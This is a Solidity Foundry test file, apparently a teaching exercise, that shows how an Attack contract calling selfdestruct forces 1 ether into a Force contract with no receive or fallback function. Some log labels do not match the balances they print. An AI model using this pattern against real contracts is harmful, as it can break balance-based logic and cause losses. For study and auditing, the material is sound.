Selfdestruct2.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
This excersise is about selfdestructing (deprecated) and force sending ether to a contract
Force implements neither receive nor fallaback functions. Calls with any value will revert.
*/

contract ContractTest is Test {
    Force ForceContract;
    Attack AttackerContract;

    function testselfdestruct2() public {
        ForceContract = new Force();
        console.log("Balance of ForceContract:", address(this).balance);
        AttackerContract = new Attack();
        console.log(
            "Balance of ForceContract:",
            address(ForceContract).balance
        );
        console.log(
            "Balance of AttackerContract:",
            address(AttackerContract).balance
        );
        AttackerContract.attack{value: 1 ether}(address(ForceContract));

        console.log("Exploit completed");
        console.log(
            "Balance of EtherGameContract:",
            address(ForceContract).balance
        );
    }

    receive() external payable {}
}

contract Force {
    /*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/
}

contract Attack {
    function attack(address force) public payable {
        selfdestruct(payable(force));
    }
}